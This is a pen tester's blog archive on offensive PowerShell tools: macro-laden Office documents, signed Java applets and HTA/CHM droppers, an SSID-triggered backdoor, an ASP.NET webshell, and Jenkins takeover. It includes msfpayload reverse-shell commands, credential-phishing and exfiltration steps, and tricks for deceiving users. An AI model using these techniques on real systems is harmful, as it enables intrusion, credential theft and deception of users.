Thursday, December 25, 2014

Using Nishang with Cobalt Strike

This (very) quick post explains usage of Nishang with Cobalt Strike. Someone left a comment on a post asking for it, so here it is.

Raphael already wrote a blog post explaining how to use PowerShell scripts with Cobal Strike's beacon. Using Nishang's script is no different.

1. Use powershell-import in a Beacon session to load a PowerShell script in memory of target.
2. Use powershell to execute it.

Below example shows how to use Get-WLAN-Keys.

Lets try a script which needs arguments to be passed to it. Lets use HTTP-Backdoor which needs many arguments, the PayloadURL is set to 'ls'.

That's all! If you find any porblem in running Nishang scripts with Cobal Strike or any other tool, drop a comment or ping me on twitter or drop me an email, I would be happy to help.

Friday, November 28, 2014

Using PowerShell for Client Side Attacks

This blog post details everything I spoke about at DeepSec [slides here] plus much more.

 tl;dr: Try the new scripts from Nishang here.

Why using Client Side Attacks with PowerShell?

When I started working on this, I just thought of using PowerShell scripts and payloads for client side attacks and not of the generator scripts. There are many awesome Social Engineering tools out there, then why PowerShell? There are many reasons, first and foremost, coding a tool not only helps in understanding the attacks but also improves the grasp over that language. Other reasons, like the tremendous power with PowerShell, easy availability on Windows targets, no or low detection rate, easy post exploitation also motivated me.

With this blog post, a newer version of Nishang with "Client" category of attacks is also being released.
Lets have a look at the scripts one-by-one.


Out-Word, as the name suggests, outputs a MS Word file with auto executable macro which runs given PowerShell commands and scripts.
Lets see it in action.

Above command, writes a Word file called Salary_Details.doc in the current directory. When the file is opened, the PowerShell command Get-Process will be executed on the target.

We could also use PowerShell one-liner download-execute to execute scripts on the target. For example, lets pass the PowerShell code generated using msfpayload (./msfpayload windows/x64/meterpreter/reverse_tcp LHOST= exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1)

Now, if a target opens up the doc generated by above command, it would download and execute the PowerShell script resulting in a nice meterpreter session. Great!

We could also pass arguments to the script. This is helpful if the script being executed loads a function. This holds true for Nishang and other PowerShell security related toolkits too.

In the above command, we have passed the name of the function loaded by Get-Information.ps1 as an argument to actually execute the functionality of the script, Otherwise, it would end up just loading the function. Alternatively, we can make a function call in the script itself.

The ability to pass arguments is also useful if we want to use a script module like Powerpreter with Out-Word. Lets try calling a backdoor function from Powerpreter.

We could also use Encoded scripts with the Out-Word to avoid communication with the Internet as in case with the above method. The Macro code seems to insert a new line if a long EncodedCommand is passed to it, which breaks the code. We could use the compression and encoding available with Invoke-Encode in Nishang to generate a much smaller command for an encoded string. Use –PostScriptCommand switch to use it. It is based on the Compress-Post script by Carlos here.

We must properly escape the single quotes (‘) in the generated command to be able to use it with Out-Word.

Notice the escaping of single quotes using two single quotes in the compressed script. Still, I was unable to use big scripts with this option. Your mileage may vary.

There is more to Out-Word than this. It could also be used to infect/arm/weaponize  - I love the word weaponize *giggles* - existing Word files on a machine. It does so by creating copies of the existing files loaded with the auto executable macro. We just need to pass –WordFileDir parameter with it.The data in the original Word is also copied in the new one.

Use –Recurse parameter to perform the action recursively. Use the –RemoveDocx parameter to remove the original docx files.

Macro Security with Out-Word:
It disables the Macro Security on the machine the computer on which it is executed. That is, if you execute the PowerShell script on the target, the user will not see any warning about Macros. If you send the generated Word doc to the user, he will see the usual macro warning. Disabling Macro security is necessary otherwise we would be unable to write macros to the Word file.

To safely use Out-Word, we could use –RemainSafe parameter which re-enables the macro security after doing the stuff.

Now, imagine we get access to a fileserver and want to infect files there and increase the chances of users opening the infected files. Out-Word uses couple of small but smart tricks to try fooling users in case –WordFileDir is being used.

1. It copies the LastWriteTime from the .docx files and assign it to the generated .doc file. So at least to a normal user, the .doc files would not appear to be something newly appeared.

2. If the extensions for known file types are hidden on the machine, Out-Word adds .docx extension to the generated infected doc files. For example, for a file IT-Assets.docx it generates an infected file IT-Assets.docx.doc.

EDIT/UPDATE: Many are asking but it is not possible to add password protection to the Macros programatically. So if you want to add passwords to macros, it must be done manually.


The Macro code for both Out-Word and Out-Excel has been directly taken from Matt’s code here. Check out his blog for more interesting work on using PowerShell for client side attacks. Also, see this post by by Matthew Graeber on analysing Powerworm, couple of whose features have been implemented in Out-Word.


Out-Excel works exactly same for Excel files as Out-Word for Word files. All the options and features are available for Out-Excel as well. We may have a better chance of a user trusting Macros in Excel than in Word.


Lets see another interesting script, Out-Shortcut. It creates a shortcut which could be used to execute command and scripts on a target computer.

It could be used for executing commands:

Note the absence of powershell.exe in the payload above. Out-Shortcut could also be used for every attack method discussed above. Lets discuss features exclusive to Out-Shortcut.

It is easier to use encodedcomands with Out-Shortcut. We could just use Invoke-Encode with –OutCommand parameter and pass the generated encoded script to Out-Shortcut as below:

Out-Shortcut assigns a default hotkey ‘F5’ to the Shortcut. This executes Shortcut whenever the key is pressed until the file is either deleted or machine reboot. A small but useful trick :) It also assigns icon of “explorer.exe” to the created shortcut. We could change both the options using –Hotkey and –Icon parameters as shown below:

Note that, the Hotkey works only if the script is executed on the target.

Out-Shortcut is inspired from the attack mentioned in this blog at Trend Micro.


Out-Java could be used for Java Applet attacks. The script generates a signed JAR and HTML which uses the applet tag to load the JAR. The JAR and HTML need to be hosted on a web server and as soon as the target opens that URL, we would be in!

The script by-default self signs the JAR. We must have JDK on our machine to be able to compile and sign the Java code.

As other scripts in Nishang’s client side attack category, Out-Java is able to execute commands, encoded scripts and download-execute scripts. Here’s a simple example:

Again, we could pass encoded PowerShell scripts, even the bigger ones, without any issue.

If we the –NoSelfSign parameter, a non-signed JAR is generated which could later be signed with a trusted certificate.

The Java code uses Operating System architecture detection and calls 32-bit PowerShell even on 64-bit computers. So, in case we need to execute shellcode, it could always be 32-bit. For example, lets generate a 32-bit reverse_tcp meterpreter in PowerShell and pass it to Out-Java. Use (./msfpayload windows/meterpreter/reverse_tcp LHOST= exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1). Encode it with Invoke-Encode with  –OutCommand parameter and:

In case, someone wants to run 64-bit shellcode, just remove the if condition from Java source. It has been marked with a comment.

Below options are hardcoded in Out-Java for certificate creation and JAR signing, change those for customization:

$KeystoreAlias = "SignApplet"
$KeyStore = "PSKeystore"
$StorePass = "PSKeystorePass"
$KeyPass = "PSKeyPass"
$DName = "cn=Windows Update, ou=Microsoft Inc, o=Microsoft Inc, c=US"

These are deliberately not asked for in the PowerShell parameters to keep the usage simple.

BTW, the latest Java version shows really ugly warning to the users, so using a valid certificate would increase chances of successful attacks. Still, I have not seen many targets who pay attention to such warnings. Also, the HTML generated using Out-Java loads a live Microsoft page in an attempt to make it look authentic. The better option is to clone a page and use it but that has not been done. If I feel like, that would be added in a future release.MS_Applet

Sadly, I was unable to achieve the PowerShell execution from applet for my DeepSec talk. Anyway, now it works.

References for this have been taken from David Kennedy’s Social Engineering Toolkit. Also, what got md working again on this was Piotr Marszalik’s Ps1encode


Out-HTA uses HTML application (HTA) to achieve PowerShell command and script execution. It generates HTA and VBS files which need to be hosted on a web server and a target needs to click/open the URL.

Like the other client side attacks we have been discussing, Out-HTA accepts as a payload – commands, encoded scripts and download-execute scripts.

A quick example is shown below:

Out-HTA also handles large encoded scripts really well, so that would be the best to use in this case.

The flip side of using HTA is the loud warnings Internet explorer shows to the user. If the user sees FireFox, it appears to be similar to downloading an executable. Out-HTA loads live page of Windows Defender from Microsoft’s website in an attempt to trick a user.


Out-CHM creates Compiled HTML Help file (CHM) which could execute PowerShell scripts and commands on the target.

We need hhc.exe (HTML Help Workshop) on the attacker’s machine. HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link:

A quick example of using Out-CHM is below:

Out-CHM uses files from tcp/ip help file in Windows to make the file look authentic. We could always add more html files to make it look like a real document. Larger scripts, if used encoded, may result in problems.

Out-CHM is based on this tweet by @ithurricanept

Common Features and shortcomings

- All scripts run PowerShell in a new process, so closing the attack vector, be it an attachment or a link, would have no effect on the script being executed.

- Each script accepts encoded scripts, commands and one line download-execute.

- The attacks are not very hard to detect manually. More needs to be done on that part.

Better/Complex Attacks

Lets see some more attacks which take us beyond just meterpreter. These are also on the slides of my talk but lets see some here too:

Exfiltration of credentials from a target:

Above command calls the Credentials function from Powerpreter which shows a password prompt to target user. This prompt doesn’t go away till valid local or domain credentials are entered. The output of Credentials function is piped to Do-Exfiltration which exfiltrates those to a web server in encoded format. The web server must log POST requests.

The logs from the web server could be decoded using Invoke-Decode;.

Running a backdoor with new communications channel:

Above command runs the Gupt Backdoor on the target.

Executing  other client side attacks:

Above command, uses Out-Java to execute Out-Word on a target. Out-Word then infects all Word files in C:\ recursively. Such files when opened, would execute meterpreter PowerShell script.

There are endless possibilities for such and even better attacks.

All the above discussed code has been committed to Nishang under the Client directory. You could grab it from here:

Again, the slides for my DeepSec talks could be found here.

Hope you enjoy this and the code and the post turns out to be useful.

Wednesday, October 15, 2014

(Quick Post) POODLE workaround on Windows using PowerShell

This quick blog post is for quickly applying workaround on Windows using PowerShell for the POODLE vulnerability. It is more for my own notes, so nothing extraordinary.

The Microsoft Advisory on POODLE suggests "Disable SSL 3.0 and enable TLS 1.0, TLS 1.1, and TLS 1.2 in Group Policy"

Use below PowerShell cmdlet to configure the recommended settings on Windows clients. The cmdlet must be run with Administrative Privileges and makes changes to the Registry.
I tested this with and it works. My Internet Explorer is no longer vulnerable.

Use with Invoke-Command to apply it on multiple machines (needs PowerShell Remoting enabled and Administrative access to the machines. Use -Credential parameter to pass username/passwords) :

Below is an unofficial fix which was doing rounds on twitter, I tested it before looking at the Microsoft workaround. Including it here just for those curious.

Use below PowerShell cmdlets to disable SSL 3.0 on Windows clients. The cmdlets must be run with Administrative Privileges and make changes to the Registry.

Copy-paste friendly version:
Use 'Server' in above Registry keys to disable SSL 3.0 on Servers as well.

I tested this with and it works. My Internet Explorer no longer uses SSL 3.0.

Hope this would be helpful to you.

Friday, August 29, 2014

Introducing Gupt: A Backdoor which uses Wireless network names for command execution

Few weeks back, I was playing with my mobile WiFi hotspot and powershell. Using powershell, I was listing the SSIDs created by the mobile hotspot, wondering if it could be exploited some way? It turned out to be a yes but with some help.

Behold, I give you Gupt (which means secret), a powershell backdoor which could execute commands and scripts on a target if a specially crafted SSID is brought into its proximity. Gupt is very small yet powerful !

Like other backdoors, Gupt, a powershell script, has to be executed on the target. This could be done using Powershell Remoting and PsExec (needs crdentials of a user or hashes of built-in Administrator), with an exploit, using client side attacks (I will talk about these at DeepSec), using a Human Interface Device etc. Previous posts on this blog details above methods.

Executing Commands

Gupt checks all wireless network names for a pattern every 5 seconds, it asks for two parameters, first one, MagicString, is used to identify the SSID which contains commands for it. It needs to be four characters long. For example, if we set MagicString as "op3n", it would compare SSIDs of all available wireless networks if first four characters of any matches "op3n". Gupt needs the network name in a special format. While the first four characters must match MagicString, the 5th character is used to decide if we want it to execute a command or download-execute a powershell script.

If the 5th character is 'c', it means that rest of the network name is a command! For example, while looking for Wireless Networks, if Gupt encounters a network with name "op3ncwhoami" it would execute whoami on the target. Simple, isn't it? :)

Lets see it in action.We use the following:

Great! We executed command on the target without forcing it to connect to the wireless network. Lets have a look at the attacker's SSID/Network name.
As we saw, everything after the 'c' is considered a single command.
Lets see another example, this time with powershell cmdlet Get-Process. The SSID being "holacget-process"
Gupt waits for 10 seconds after executing a command, we can execute more commands by changing the SSID name.

Executing Scripts

Now, how do we execute a script using Gupt? Since maximum length for an SSID could only be 32 characters (with restrictions on special characters), passing scripts in SSID name is not possible. To achieve script execution, Gupt downloads and executes a script. If the 5th character of SSID is 'u', Gupt looks for the id part of a URL shortened by Google URL shortener. For example, a SSID "op3nunJEuug" would use to download and execute the script. The script would be executed in memory. The second parameter, Arguments could be used to pass arguments to the downloaded script.

Lets see it in action with the Get-Information script from Nishang. We use the following command:

Attacker's SSID being 'op3nunJEuug'
We could also execute Powerpreter module on a target using Gupt the same way, powerpreter would provide much wider functionality.

Lets see if we could get a meterpreter session with this. We will use the powershell script generated using msfpayload.
And we have a meterpreter.

This is how our SSIDs look like.


Here is the full source code.
Gupt waits for 10 seconds after executing a script, we can execute more commands by changing the SSID name.

We ccold force Gupt to exit by naming our network, in above case, "op3ncexit".

Use cases of Gupt are many like bypassing network traffic monitoring, backdooring a machine completely on an internal network or simply to show off something new to the clients.

Gupt is available at github repo of Nishang and would soon be a part of Kautilya too.

If you like this post and presently in Europe and/or coming to DeepSec, Vienna, join me for interesting hands-on hacks, concepts and code in my two-day training "Powershell for Penetration Testers". Details here:

Hope you enjoyed this. Please leave comments.

Thursday, August 21, 2014

Script Execution and Privilege Escalation on Jenkins Server

Disclaimer: We would use only existing features of Jenkins, no 'exploits' here.

During a recent penetration test I came across a Jenkins server. Having written a blog post on it, I was really excited and jumped straight to the /script url for the Groovy script console. But, it redirected me to a login page. Bummer!

Anyway, I registered as a user (yes it was allowed), and then tried to go the script console, but (all screenshots from my test machine)

After that, I put the initial excitement aside and started to explore whatever was available and read Jenkins documentation. Some interesting links are given below. All of these are publicly/anonymously accessible in Jenkins Standard Security Setup detailed here:

List of users:
List of all builds:
(Seems to be fixed in the latest version 1.575)
List publilcy available content:
Type of the Operating System:

It turned out that in Standard Security Setup, a registered user and anonymous user have same privileges unless otherwise configured.

During the pen test, I found links to couple of repositories in build details (console outputs) which were a treasure trove. but nothing on the Jenkins server itself. It be noted here that I was unable to see the build details on my test machine which is the latest version.

Anyway, the list of available users got my attention. From my experience working in the industry, I almost knew there would be some easy passwords as developers and build management guys are not really good at passwords :P 

 I quickly ran a brute force on all the listed users using Burp and 500 worst passwords list from Skullsecurity. I ran it on POST request to  /j_acegi_security_check. If you use Burp intruder, make sure it is configured to follow redirects.
No points for guessing, I got password for a user. Yay! Login and jump to the script console but

Few minutes later, I got password for two more users but none had access to the script console. Aaargghhh!

After further exploring Jenkins console, I saw that one of the users could configure build jobs (could not create new ones) and there are couple of very interesting things in the "AddBuild Step" option:

I added a small script, saved the configuration and built the task. Recall that we can get the OS type using http://[jenkinsurl]/computer/
But, damn it:

The script didn't execute. There had to be a way out! I called up my elder brother (he is on twitter, follow him!) who is a veteran in configuration and build management. He suggested me to see if there is any task running before the "Execute Shell" build step and is failing. There was one indeed.
He further suggested if I could re-order the build steps. Quick duck search returned a way, I just need to drag my Build Step to top, save and build. Aaand, finally!

Now, you can try getting a meterpreter session using built-in perl, python, ruby etc. And if it is a windows machine use powershell for various attacks as mentioned in my earlier post. Note that unlike script console we need not use Groovy script if we use the build step.

If you want to get admin access to Jenkins, read on. As per, Jenkins documentation here, you can disable security by setting the [useSecurity]true[/useSecurity] to false in config.xml in $JENKINS_HOME or by deleting the config,xml.

Lets check for $JENKINS_HOME, we use "ps -ef | grep jenkins" in the Shell Execute step.
Now lets see if we can delete config.xml
UPDATE: You must have sudo privileges to be able to restart Jenkins. My test machine had a bad configuration. But if Jenkins is running on a Windows machine, you can restart the service as it runs with SYSTEM privileges (or at least Admin privileges) on Windows. Note that, you may need to move to a reverse shell or meterpreter before you can restart Jenkins service on Windows.
Save, build and refresh. Bingo! Admin access for everyone!
UPDATE: Deleting config.xml is absolutely not required. You could always run a sed command to replace [useSecurity]true[/useSecurity] with [useSecurity]false[/useSecurity] for same results (service restart required).

Hope this would be useful. Please leave comments.

Wednesday, July 30, 2014

Kautilya 0.5.0 - Passwords in Plain, Exfiltrate SAM, Code Exec and more

Kautilya 0.5.0 is out. This version adds six more exciting payloads for Windows and supports Ruby bundler! I tried to do away with the menus and make Kautilya UI interactive shell based just like MSF but my Ruby skills failed me. I would be glad if some ruby expert could help me with that.

Anyway, lets have a look at what are the new things.

Using the artii gem, Kautilya would now show different ascii arts as banner :)

Also, you need not install each gem individually now, just run 'bundler install' from Kautilya's root directory.

Coming to the payloads, the new ones are:

Add a user and Enable Powershell Remoting
Simple and effective, this payload adds an administrative user on the target and enables Powershell Remoting from any subnet. An exception to Windows firewall is also added.

Just compile this to your HID and plug in the device.

Dump passwords in plain
This payload is able to dump passwords of users on the target system in plain-text. It uses the excellent Invoke-Mimikatz by Joseph Bialek. You need to host the Invoke-Mimikatz.ps1 on a webserver, it would be downloaded and executed in memory from there. The script could be found in the extras directory.

Lets use it from a local server. Also, lets choose gmail to exfiltrate the results.

And what we get is


Great! There is nothing better to get hold of plain-text credentials.
You could also pass any command of Mimikatz with "Invoke-Mimikatz -command  "

Copy SAM
This payload copies the SAM file with the help of Volume Shadow Service. The SAM file could be exfiltrated ONLY using gmail right now.

I understand that using gmail only means you need to leave credentials of a gmail account on a target. I tested converting the SAM file to hex and exfiltrating using other options but the size of hex file is too big to make it practical, the compression and encoding built in Kautilya, the compress_encode function in exfilmethoddefs file, didn't work either.

Execute Shellcode
Use this to execute shellcode in memory. This is based on the awesome Invoke-Shellcode from Powersploit by Matt Graeber. You need to host the Invoke-Shellcode.ps1 on a webserver, it would be downloaded and executed in memory from there. The script could be found in the extras directory.

After compiling it to a HID and connecting the HID to a target, we could see following on the listener:

The default is set to Metasploit's windows/meterpreter/reverse_https which would work for both 32-bit and 64-bit machines.

Dump Process Memory
This payload takes a full minidump of a process. The dump file could then be exfiltrated using gmail ONLY (same reasons as for Copy SAM). The payload uses logic from Out-MiniDump.ps1 script of Powersploit. By default, the lsass process memory is dumped, but you could specify other process too.

And we recieve the dump in the specified gmail id.
Great! Now this dmp could be used to extract juicy information using any tool of choice.

Kautilya could be found here:

The complete changelog is below:
- Added Execute Shellcode for Windows (under Execution menu).
- Added "Dump passwords in plain" for Windows (under Gather menu).
- Added "Copy SAM (VSS)" for Windows (under Gather menu).
- Added "Dump Process Memory" for Windows (under Gather menu).
- Added "Dump Windows Vault Credentials" for Windows (under Gather menu).
- Added "Add a user and Enable Powershell Remoting" for Windows (under Manage menu).
- Added support for Gems bundler.
- Added more banners of Kautilya.

Hope this would be useful to you. I await feedback, comments and bugs.

Tuesday, June 17, 2014

Hacking Jenkins Servers With No Password - Powershell fun

This post is stolen/copied/inspired from the post by Royce Davis. He posted the awesome original post here on Pentest Geek. I am just taking the hack forward using Nishang and powershell for doing nasty things.

After reading that post I quickly downloaded Jenkins and set it up in my lab. Royce used below code to execute commands on the Jenkins Server.

Lets see the version of powershell on the server by using def proc = 'powershell.exe $psversiontable'.execute() in the above code.

And the result is.

Version 2.0. So we can run powershell cmdlets and other commands. Perfect!

Now lets use powershell one-liner downloader to execute different scripts from Nishang on the Jenkins Server.

To execute the scripts we have to append cmd /c to the powershell command. So, for example, to execute Firebuster from Nishang the code becomes

We can also use encoded scripts. Using Invoke-Encode in Nishang, lets encode Get-Information and execute it.

And the output

What's an exploitation without a meterpreter? So lets use the powershell meterpreter payload generated using msf.

And we have a meterpreter session !

So, the conclusion is, whenever and wherever you are able to execute commands on a Windows machine, try to execute powershell commands and you would be happily surprised.

Nishang could be found here:


Wednesday, June 4, 2014

Introducing Antak - A webshell which utilizes powershell

Duing penetration tests, I always wanted to have a simple yet powerful webshell. For that, I wrote Antak last year, demonstrated it at Defcon 21 but never released for I was busy in other things :)

Antak stands for God of Death in Indian mythology, popularly known as Yamraj. Muhahaha

The webshell is a part of Nishang now. It is written in ASP.Net.

Antak's UI has been designed to resemble a powershell console.

Use clear to clear the output box. Use help to see the built-in help.

Lets see some of its features.

Running Commands

To run commands on the target machine, just type those in the command text box and press enter or click on submit.

Each command is executed in a separate powershell process. To run multiple commands in a single process, use semi-colon (;) separated commands like cd..;pwd;ls

You are effectively sitting on a powershell prompt with -noninteractvie and -executionpolicy bypass parameters. So all powershell commands would run. Great!

Code snip for command execution:

Upload a file

To upload a file using Antak:
1. Write the path writable directory in command box. Usually, at least C:\Windows\Temp should be writable.
2. Use the browse button to locate the file on your local machine.

3. Click on "Upload the file" button.
Also, lets verify if the file has been uploaded.

 Nice! The file has been uploaded.

Code for this:

Download a file

To download a file, just write/copy its complete path in command box and click on the "download" button.

 And this downloaded text file contains username and password to another machine. Of course, you won't find such things in an enterpreise enviroonment (pun intended) :D

Code for download:

Executing Scripts

There are many ways how a script could be executed using Antak. 

UPDATE: In methods 1 and 2 below the script does not touch disk (someone asked me this).

1. Paste the script in command box and click "Encode and Execute".
Lets try this with the egress testing script Firebuster.ps1


2. Using powershell one-liner for download & execute. Paste the one-liner in command box and click on execute.
Lets try this with powershell payload generated using msf.

The one liner which could be used is:

3. An uploaded script could be executed in the usual way.
Lets upload powerpreter on the target and use Get-Information function.



Recall that we are practically on a powershell prompt. So lets try to use powershell remoting to execute commands on remote machines. Two things which are required for using powershell remoting from Antak are:

1. Administrative credentials for the target remote system.
2. Powershell remoting must already be enabled between system where Antak is residing and the target machine. As it is not possible to change any settings due to low privileges under which Antak runs.

Recall that we downloaded a plain-text credential for a remote machine. That could be used now.

Following semi-colon(;) separated commands could be used to achieve this. This command takes username and password in plain and exeucte ipconfig on the target.

Lets use this :)

Great! We are able to execute commands on the remote machine.

That is it for Antak, hope you liked it. It is a part of Nishang and could be found here:

If you would like to see Antak in action, you may like to see the webcast I did for Garage4hackers:

I look forward to feedback, bugs and feature requests.

Monday, June 2, 2014

Nishang 0.3.4 - Nishang Module, Dot Sourcing, Leaner scripts, New Exfiltration methods and bug fixes.

This update of Nishang makes some basic changes in how Nishang could be used.

You can now use Nishang as a module. Just import Nishang.psm1 by using

Now, list and use all the functions available
You can use any function from above as you use the scripts.

The code of nishang.psm1 is this
It just imports all scripts in the Nishang folder in the current session. It excercises no export control so you may see some functions which themselves are part of other functions. Note that the code shows that we are not loading Keylogger. In my testing, I found Keylogger should be left alone :)

Dot Sourcing

Next, if you like to use individual scripts (like I do), the scripts in Nishang, other then the Keylogger, now runs with dot sourcing.

Leaner Scripts

The exfiltration option has been removed from every script but Keylogger annd the three Backdoors. This not only makes those leaner (again) but also less complex to use. But, since I have been working on using Nishang scripts in client side attacks, it doesn't make sense to remove the exfitration altogether.

If you need exfiltration in a script just use Add-Exfiltration in the Utility folder and pass to it the path of the script.

New Exfiltration Methods

You can now use your own weberver which could log POST requests and a DNS server which could log TXT queries as exfiltration options. The webserver option could be seen in above example of leaner scripts.

Lets see an example of using DNS txt queries.

Both Webserver and DNS methods encodes data using Carols Perez's Compress-PostScript. You can decode it using Invoke-Decode in the Utility folder.

Parameters have been rearaanged in all the scripts to make the code more readable.

Here is the CHANGELOG:

- Minor improvements in StringtoBase64.ps1
- Fixed a typo in Firelistener. Client port was not being displayed.
- All the scripts could be run using "dot source" now.
- All the scripts in Nishang could be loaded into current powershell session by importing Nishang.psm1 module.
- Added new exfiltration options, POST requests to Webserver and DNS txt queries.
- Removed exfiltration support for tinypaste.
- Exfiltration options have been removed from all scripts but Backdoors and Keylogger.
- Added Nishang.psm1
- Added Do-Exfiltration.ps1.
- Added Add-Exfiltration.ps1.
- Added Invoke-Decode.ps1.
- Removed Browse_Accept_Applet.ps1

Nishang could be found here

I welcome any feedbacks, bugs and feature requests.

Wednesday, April 30, 2014

Egress Testing using PowerShell

Imagine that you pwned a box during a pen test. You want to know if it is possible to acess the internet/other network on any port. This is what egress testing is, for me. I am happy to give you Firebuster and Firelistener, a pair of powershell scripts which could be used for the purpose. The scripts are written by Nikhil Sreekumar(@roo7break) and me (yes we have the same first name :P). He blogged about it sometime back. You can read about it here. The code has been updated and improved for Nishang.

We can use the scripts this way.

1. Run the Firelistener on our machine (we are the attacker/listener)

2. Run the FireBuster on the target machine.

3. You can see the open ports on FireListener console.


While using FireListener for more than 100-150 ports, it overwhelms the listening machine (the attacker's machine). I am trying to improve on this. I would really love if someone can improve it. Also, FireListener sometimes "misses" restarting a job for a port to which a connection has been made. This is due to the delay introduced before restarting the jobs.

With this blog post, some more updates have been pushed to Nishang. The CHANGELOG
- Download_Execute_PS.ps1 can now download and execute a Powershell script without writing it to disk.
- Execute_OnTime.ps1 and HTTP-Backdoor.ps1 executed the payload without downloading a file to disk.
- Fixed help in Brute-Force function in Powerpreter.
- Execute-OnTime, HTTP-Backdoor and Download-Execute-PS in Powerpreter now execute powershell scripts without downloading a file to disk.
- Added Firebuster.ps1 and Firelistener.ps1

Firebuster and Firelistener are available in Nishang repository.

I would love to hear feedback and bugs on this. Please leave comments.